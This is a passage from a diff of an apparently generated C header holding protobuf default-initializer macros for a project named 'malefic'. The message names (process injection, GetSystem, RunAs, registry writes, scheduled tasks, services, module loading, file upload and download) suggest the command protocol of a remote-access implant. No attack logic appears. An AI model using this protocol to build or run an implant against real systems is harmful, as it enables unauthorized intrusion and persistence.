malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default}} +#define malefic_Block_init_default {0, {0, {0}}, 0} +#define malefic_ACK_init_default {0, 0, 0} +#define malefic_Os_init_default {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_default {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_default {"", 0} +#define malefic_FileInfo_init_default {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_default {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_default {"", 0, 0, {malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default}} +#define malefic_DriveInfo_init_default {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_default {0, {malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default}} +#define malefic_PsResponse_init_default {0, {malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default}} +#define malefic_ExecRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_default {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_default {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_default {0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}} +#define malefic_Addon_init_default {"", "", ""} +#define malefic_LoadModule_init_default {"", {0, {0}}} +#define malefic_LoadAddon_init_default {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_default {"", false, malefic_ExecuteBinary_init_default} +#define malefic_ExecuteBinary_init_default {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_default, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_default {"", false, malefic_SacrificeProcess_init_default} +#define malefic_UploadRequest_init_default {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_default {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_default {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_default {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_default {"", "", "", 0} +#define malefic_IfconfigResponse_init_default {0, {malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default}} +#define malefic_RegistryRequest_init_default {"", false, malefic_Registry_init_default} +#define malefic_Registry_init_default {"", "", ""} +#define malefic_RegistryWriteRequest_init_default {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_default {"", false, malefic_TaskSchedule_init_default} +#define malefic_TaskSchedule_init_default {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_default {0, {malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default}} +#define malefic_ServiceRequest_init_default {"", false, malefic_ServiceConfig_init_default} +#define malefic_ServiceConfig_init_default {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_default {0, 0, 0, 0, 0} +#define malefic_Service_init_default {false, malefic_ServiceConfig_init_default, false, malefic_ServiceStatus_init_default} +#define malefic_ServicesResponse_init_default {0, {malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default}} +#define malefic_WmiQueryRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_default {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_default {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_default {{0, {0}}, 0} +#define malefic_Inject_init_default {{0, {0}}, 0} +#define malefic_Pipe_init_default {"", "", {0, {0}}} +#define malefic_PipeRequest_init_default {"", false, malefic_Pipe_init_default} +#define malefic_Switch_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_default {0, ""} +#define malefic_TaskInfo_init_default {0, 0, 0, 0} +#define malefic_TaskListResponse_init_default {0, {malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, 